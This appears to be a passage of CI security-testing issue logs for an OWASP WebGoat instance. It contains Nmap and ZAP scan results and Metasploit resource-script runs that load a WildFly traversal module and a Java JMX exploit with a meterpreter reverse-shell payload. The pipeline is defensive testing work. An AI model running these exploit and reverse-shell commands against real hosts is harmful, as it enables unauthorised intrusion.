JMX_ROLE	no	The role to interact with an authenticated JMX endpoint
----------	----	---

RHOSTS	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
--------	-----	---

RPORT	yes	The target port (TCP)
-------	-----	-----------------------

SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
---------	---------	-----	---

SRVPORT	8080	yes	The local port to listen on.
---------	------	-----	------------------------------

SSLCert	no	Path to a custom SSL certificate (default is randomly generated)
---------	----	--

URIPATH	no	The URI to use for this exploit (default is random)
---------	----	---

Payload options (java/meterpreter/reverse_tcp):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

LHOST	172.17.0.2	yes	The listen address (an interface may be specified)
-------	------------	-----	--

LPORT	4444	yes	The listen port
-------	------	-----	-----------------

Exploit target:

Id	Name
----	------

0	Generic (Java Payload)
---	------------------------

View the full module info with the info, or info -d command.

```
[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)
```


RHOSTS =>

```
resource (./src/exploit/javajmxreversehttps.rc)> use payload/java/meterpreter/  
reverse_https
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exploit
```

[*] Payload Handler Started as Job

```
resource (./src/exploit/javajmxreversehttps.rc)> exit
```

=====

Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 780

GitHub Issue URL : [Here!](#)

parrotOS
nmap
"priority Medium"

Nmap vulnerability scanning
for 4.188.249.196

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [15.5 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [103 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [210 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [502 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [980 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 17.5 MB in 3s (6496 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common

47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.6 MB of archives.

After this operation, 34.8 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common

47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.6 MB of archives.

After this operation, 34.8 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-12-04 07:20 UTC

Nmap scan report for 4.188.249.196

Host is up (0.23s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 a1:a5:ba:c7:81:56:68:28:d5:1a:17:06:4d:78:28:2c (ECDSA)

|_ 256 85:4b:f3:8a:75:ff:3e:43:1f:3b:14:5e:89:50:91:e7 (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 04 Dec 2023 07:24:10 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Mon, 04 Dec 2023 07:24:08 GMT

| HTTPOptions:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 0
|_ Date: Mon, 04 Dec 2023 07:24:09 GMT
|_http-title: Site doesn't have a title.
9090/tcp open zeus-admin?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 0
| Date: Mon, 04 Dec 2023 07:24:51 GMT
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, SqueezeCenter_CLI, TLSSessionReq, TerminalServerCookie, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 0
| Date: Mon, 04 Dec 2023 07:24:08 GMT
| HTTPOptions:
| HTTP/1.1 404 Not Found
| Connection: close
| Content-Length: 0
|_ Date: Mon, 04 Dec 2023 07:24:26 GMT

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====

SF-Port8080-TCP:V=7.92%I=7%D=12/4%Time=656D7E98%P=x86_64-pc-linux-gnu%(Ge
SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close
SF: Content-Length: 0 Date: Mon, 04 Dec 2023 07:24:0
SF:8 GMT
")%(HTTPOptions,65,"HTTP/1.1 404 Not Found
SF: Connection: close Content-Length: 0 Date: Mon, 04\x
SF:20Dec 2023 07:24:09 GMT
")%(RTSPRequest,42,"HTTP/1.1\n
SF:x20400 Bad Request Content-Length: 0 Connection: clos
SF:e
")%(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n
SF:nConnection: close Content-Length: 0 Date: Mon, 04
SF:0Dec 2023 07:24:10 GMT
")%(Socks5,42,"HTTP/1.1 400
SF: Bad Request Content-Length: 0 Connection: close \n
SF:r ")%(GenericLines,42,"HTTP/1.1 400 Bad Request Content-
SF:Length: 0 Connection: close
")%(Help,42,"HTTP/1.1
SF:400 Bad Request Content-Length: 0 Connection: close
SF:
")%(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont
SF:ent-Length: 0 Connection: close
")%(TerminalServerCook
SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co
SF:nnection: close
")%(TLSSessionReq,42,"HTTP/1.1 400 Ba
SF:d Request Content-Length: 0 Connection: close
")%
SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:
SF:00 Connection: close
")%(SMBProgNeg,42,"HTTP/1.1 400\n
SF:x20Bad Request Content-Length: 0 Connection: close

SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng
SF:th: 0 Connection: close
")%r(LDAPSearchReq,42,"HTTP/1.
SF:1 400 Bad Request Content-Length: 0 Connection: cl
SF:ose
")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co
SF:ntent-Length: 0 Connection: close
")%r(WMSRequest,42,"H
SF:TTP/1.1 400 Bad Request Content-Length: 0 Connection
SF:: close
")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques
SF:t Content-Length: 0 Connection: close
");
=====NEXT SERVICE FINGERPRINT (SUBMIT
INDIVIDUALLY)=====

SF-Port9090-TCP:V=7.92%I=7%D=12/4%Time=656D7E98%P=x86_64-pc-linux-
gnu%r(Ge
SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close
SF: Content-Length: 0 Date: Mon, 04 Dec 2023 07:24:0
SF:8 GMT
")%r(WMSRequest,42,"HTTP/1.1 400 Bad Request\n
SF:r Content-Length: 0 Connection: close
")%r(ibm-db2-das
SF:,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Conn
SF:ection: close
")%r(SqueezeCenter_CLI,42,"HTTP/1.1 400
SF:Bad Request Content-Length: 0 Connection: close
"
SF:)%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-Leng
SF:th: 0 Connection: close
")%r(HTTPOptions,65,"HTTP/1.1\n
SF:x20404 Not Found Connection: close Content-Length: 0\n
SF:r Date: Mon, 04 Dec 2023 07:24:26 GMT

")%r(RT

SF:SPRequest,42,"HTTP/1.1 400 Bad Request Content-Length:

SF:0 Connection: close

")%r(Help,42,"HTTP/1.1 400 Bad\n

SF:x20Request Content-Length: 0 Connection: close

")%r(

SF:SSLSessionReq,42,"HTTP/1.1 400 Bad Request Content-Length:

SF: 0 Connection: close

")%r(TerminalServerCookie,42,"HTTP

SF:/1.1 400 Bad Request Content-Length: 0 Connection:\x

SF:20close

")%r(TLSSessionReq,42,"HTTP/1.1 400 Bad Reques

SF:t Content-Length: 0 Connection: close

")%r(Kerberos,

SF:42,"HTTP/1.1 400 Bad Request Content-Length: 0 Conne

SF:ction: close

")%r(SMBProgNeg,42,"HTTP/1.1 400 Bad R

SF:equst Content-Length: 0 Connection: close

")%r(Four

SF:OhFourRequest,65,"HTTP/1.1 404 Not Found Connection: cl

SF:ose Content-Length: 0 Date: Mon, 04 Dec 2023 07

SF::24:51 GMT

")%r(LPDString,42,"HTTP/1.1 400 Bad Requ

SF:est Content-Length: 0 Connection: close

")%r(LDAPSea

SF:rchReq,42,"HTTP/1.1 400 Bad Request Content-Length: 0

SF: Connection: close

")%r(SIPOptions,42,"HTTP/1.1 400 B

SF:ad Request Content-Length: 0 Connection: close

");

Device type: general purpose|storage-misc|firewall

Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (86%), Synology DiskStation Manager 5.X (86%), WatchGuard Fireware 11.X (86%), FreeBSD 6.X (85%)

OS CPE: cpe:/o:linux:linuxkernel:2.6.32 cpe:/o:linux:linuxkernel:3 cpe:/o:linux:linuxkernel:4.4 cpe:/o:linux:linuxkernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:watchguard:fireware:11.8 cpe:/o:freebsd:freebsd:6.2

Aggressive OS guesses: Linux 2.6.32 (86%), Linux 2.6.39 (86%), Linux 3.10 - 3.12 (86%), Linux 3.4 (86%), Linux 3.5 (86%), Linux 4.4 (86%), Synology DiskStation Manager 5.1 (86%), WatchGuard Fireware 11.8 (86%), Linux 3.10 (85%), Linux 3.10 - 3.16 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 27 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 ... 26

27 224.79 ms 4.188.249.196

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 364.56 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-12-04 07:26 UTC

Nmap scan report for 4.188.249.196

Host is up (0.22s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.20 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-12-04 07:26 UTC

Nmap scan report for 4.188.249.196

Host is up (0.23s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds

Priority High - Sonar Cloud Code Scan Report

GitHub Issue number # 779

GitHub Issue URL : [Here!](#)

SonarCloud
"priority High"

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Priority High - Snyk Report

GitHub Issue number # 778

GitHub Issue URL : [Here!](#)

Snyk_scan
"priority High"

Snyk Scan for OWASP WebGoat

Go to <https://app.snyk.io/org/pradyumna-muppirala> for full report of Snyk with Github SSO.

Priority-High Pytest-Playwright Test Output Issue

GitHub Issue number # 777

GitHub Issue URL : [Here!](#)

Playwright
pytest
"priority High"

Starting pytests....

```
===== test session starts  
=====
```

platform linux -- Python 3.10.12, pytest-7.4.3, pluggy-1.3.0

rootdir: /home/runner/work/ASTICI/ASTICI

configfile: apture=tee-sys

plugins: anyio-4.1.0, playwright-0.4.3, tornasync-0.6.0.post2, asyncio-0.21.1, base-url-2.0.0, trio-0.8.0

asyncio: mode=strict

collected 5 items

src/test_AsyncWebGoatUseCases.py ... [60%]

src/test_WebGoatUseCases.py .. [100%]

```
===== PASSES  
=====
```

```
===== 5 passed in 27.82s  
=====
```

Stop pytests....

Priority-High - OWASP WebGoat Landing Page ZAP Scan

GitHub Issue number # 776

GitHub Issue URL : [Here!](#)

- Site: <http://4.188.224.162:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://4.188.224.162:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://4.188.224.162:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://4.188.224.162:8080/WebGoat/login>
 - **Missing Anti-clickjacking Header** [10020] total: 1:
 - <http://4.188.224.162:8080/WebGoat/login>
 - **Cookie No HttpOnly Flag** [10010] total: 1:
 - <http://4.188.224.162:8080/WebGoat/start.mvc>
 - **Cookie Slack Detector** [90027] total: 2:
 - <http://4.188.224.162:8080/WebGoat/login>
 - <http://4.188.224.162:8080/WebGoat/start.mvc>
 - **Cookie without SameSite Attribute** [10054] total: 1:
 - <http://4.188.224.162:8080/WebGoat/start.mvc>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://4.188.224.162:8080/WebGoat/login>
 - **X-Content-Type-Options Header Missing** [10021] total: 1:
 - <http://4.188.224.162:8080/WebGoat/login>
 - **Base64 Disclosure** [10094] total: 1:
 - <http://4.188.224.162:8080/WebGoat/start.mvc>
 - **Non-Storable Content** [10049] total: 1:
 - <http://4.188.224.162:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://4.188.224.162:8080/sitemap.xml>
 - <http://4.188.224.162:8080/WebGoat/login>
 - <http://4.188.224.162:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://4.188.224.162:8080/sitemap.xml>
 - <http://4.188.224.162:8080/WebGoat/login>
 - <http://4.188.224.162:8080/WebGoat/start.mvc>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://4.188.224.162:8080/sitemap.xml>
 - <http://4.188.224.162:8080/WebGoat/login>
 - <http://4.188.224.162:8080/WebGoat/start.mvc>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://4.188.224.162:8080/sitemap.xml>
 - <http://4.188.224.162:8080/WebGoat/login>
 - <http://4.188.224.162:8080/WebGoat/start.mvc>
 - **Session Management Response Identified** [10112] total: 2:
 - <http://4.188.224.162:8080/WebGoat/start.mvc>
 - <http://4.188.224.162:8080/WebGoat/start.mvc>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://4.188.224.162:8080/>
 - <http://4.188.224.162:8080/robots.txt>
 - <http://4.188.224.162:8080/sitemap.xml>
 - <http://4.188.224.162:8080/WebGoat/login>

- **User Agent Fuzzer** [10104] total: 12:
 - <http://4.188.224.162:8080/WebGoat/start.mvc>
 - <http://4.188.224.162:8080/WebGoat/start.mvc>
 - <http://4.188.224.162:8080/WebGoat/start.mvc>
 - <http://4.188.224.162:8080/WebGoat/start.mvc>
 - <http://4.188.224.162:8080/WebGoat/start.mvc>
 - ..

View the [following link](#) to download the report. RunnerID:7043194703

- Site: <http://4.188.249.196:8080> **New Alerts**
 - **Absence of Anti-CSRF Tokens** [10202] total: 1:
 - <http://4.188.249.196:8080/WebGoat/login>
 - **Anti-CSRF Tokens Check** [20012] total: 1:
 - <http://4.188.249.196:8080/WebGoat/login>
 - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
 - <http://4.188.249.196:8080/WebGoat/login>
 - **Missing Anti-clickjacking Header** [10020] total: 1:
 - <http://4.188.249.196:8080/WebGoat/login>
 - **Permissions Policy Header Not Set** [10063] total: 1:
 - <http://4.188.249.196:8080/WebGoat/login>
 - **X-Content-Type-Options Header Missing** [10021] total: 1:
 - <http://4.188.249.196:8080/WebGoat/login>
 - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
 - <http://4.188.249.196:8080/>
 - <http://4.188.249.196:8080/robots.txt>
 - <http://4.188.249.196:8080/WebGoat/login>
 - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
 - <http://4.188.249.196:8080/>
 - <http://4.188.249.196:8080/robots.txt>
 - <http://4.188.249.196:8080/WebGoat/login>
 - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
 - <http://4.188.249.196:8080/>
 - <http://4.188.249.196:8080/robots.txt>
 - <http://4.188.249.196:8080/WebGoat/login>
 - **Sec-Fetch-User Header is Missing** [90005] total: 3:
 - <http://4.188.249.196:8080/>
 - <http://4.188.249.196:8080/robots.txt>
 - <http://4.188.249.196:8080/WebGoat/login>
 - **Storable and Cacheable Content** [10049] total: 4:
 - <http://4.188.249.196:8080/>
 - <http://4.188.249.196:8080/robots.txt>
 - <http://4.188.249.196:8080/sitemap.xml>
 - <http://4.188.249.196:8080/WebGoat/login>

View the [following link](#) to download the report. RunnerID:7083222232

Priority-High Metasploit-ParrotOS Test output

GitHub Issue number # 775

GitHub Issue URL : [Here!](#)

parrotOS
metasploit
"priority High"

Interactive Application Security Testing :

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [15.5 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [103 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [210 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [502 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [980 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 17.5 MB in 2s (9837 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common

47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.6 MB of archives.

After this operation, 34.8 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common

47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.6 MB of archives.

After this operation, 34.8 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Cleaning up any existing old code copies of security tests...

This is not a secure way to check out code;

Getting the latest code copy for all security tests...

=====

Metasploit Framework Exploit Demo :

=====

Target Web Goat Instance IP Address : 4.188.224.162

Possible Metasploit exploits or auxiliaries or payloads, that can used for attacking

=====

Sample attack executions from msfconsole CLI >>>

Sample 1 : Running Wildfly directory traversal auxillary attack ... >>>

[*] Processing ./src/exploitwildflydir_traversal.rc for ERB directives.

resource (./src/exploitwildflydirtraversal.rc)> use auxiliary/scanner/http/wildflytraversal

resource (./src/exploitwildflydir_traversal.rc)> show options

Module options (auxiliary/scanner/http/wildfly_traversal):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RELATIVEFILEPATH standalone

RHOSTS yes The target host(s), see <https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html>

RPORT 8080 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploitwildflydir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploitwildflydir_traversal.rc)> run

```
[*] Msf::OptionValidateError The following options failed to validate: RHOSTS
resource (./src/exploit/wildflydir_traversal.rc)> exit
```

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

```
[*] Processing ./src/exploit/javajmxreversehttps.rc for ERB directives.
```

```
resource (./src/exploit/javajmxreversehttps.rc)> use exploit/multi/misc/javajmxserver
```

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

```
resource (./src/exploit/javajmxreversehttps.rc)> show options
```

Module options (exploit/multi/misc/javajmxserver):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

JMXRMI	jmxrmi	yes	The name where the JMX RMI interface is bound
--------	--------	-----	---

JMX_PASSWORD	no	The password to interact with an authenticated JMX endpoint
--------------	----	---

JMX_ROLE	no	The role to interact with an authenticated JMX endpoint
----------	----	---

RHOSTS	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
--------	-----	---

RPORT	yes	The target port (TCP)
-------	-----	-----------------------

SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
---------	---------	-----	---

SRVPORT	8080	yes	The local port to listen on.
---------	------	-----	------------------------------

SSLCert	no	Path to a custom SSL certificate (default is randomly generated)
---------	----	--

URIPATH	no	The URI to use for this exploit (default is random)
---------	----	---

Payload options (java/meterpreter/reverse_tcp):

Name	Current	Setting	Required	Description
------	---------	---------	----------	-------------

LHOST	172.17.0.2	yes	The listen address (an interface may be specified)
-------	------------	-----	--

LPORT	4444	yes	The listen port
-------	------	-----	-----------------

Exploit target:

Id	Name
----	------

0	Generic (Java Payload)
---	------------------------

View the full module info with the info, or info -d command.

```
[*] resource (./src/exploit/javajmxreversehttps.rc)> Ruby Code (57 bytes)
```

RHOSTS =>

```
resource (./src/exploit/javajmxreversehttps.rc)> use payload/java/meterpreter/  
reverse_https
```

```
resource (./src/exploit/javajmxreversehttps.rc)> exploit
```

[*] Payload Handler Started as Job

```
resource (./src/exploit/javajmxreversehttps.rc)> exit
```

=====

Priority-Medium Nmap-ParrotOS Scan output

GitHub Issue number # 774

GitHub Issue URL : [Here!](#)

parrotOS
nmap
"priority Medium"

Nmap vulnerability scanning
for 4.188.224.162

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.3 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.5 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [15.5 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [103 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [210 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [502 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [980 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [19.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetchd 17.5 MB in 2s (8331 kB/s)

Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

Confidential

libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common

47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.6 MB of archives.

After this operation, 34.8 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libc-bin libc-dev-bin libc-devtools libc-l10n libc6 libc6-dev
libc6-i386 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libpq5 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
libx11-6 libx11-data libxpm4 locales openssh-client openssh-server
openssh-sftp-server openssl postgresql postgresql-13 postgresql-client-13
postgresql-client-common postgresql-common

47 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Need to get 49.6 MB of archives.

After this operation, 34.8 kB disk space will be freed.

Do you want to continue? [Y/n] Abort.

Hit:1 <https://deb.parrot.sh/parrot> parrot InRelease

Hit:2 <https://deb.parrot.sh/direct/parrot> parrot-security InRelease

Hit:3 <https://deb.parrot.sh/parrot> parrot-backports InRelease

Reading package lists...

Building dependency tree...

Reading state information...

47 packages can be upgraded. Run 'apt list --upgradable' to see them.

Running basic nmap scan...

Starting Nmap 7.92 (<https://nmap.org>) at 2023-11-30 07:19 UTC

Nmap scan report for 4.188.224.162

Host is up (0.20s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 f4:6f:81:72:87:b1:16:94:c7:53:e5:a6:b0:cc:f8:96 (ECDSA)

|_ 256 62:fc:62:32:8f:6f:0d:73:4f:a4:67:ed:ef:f9:9f:9f (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

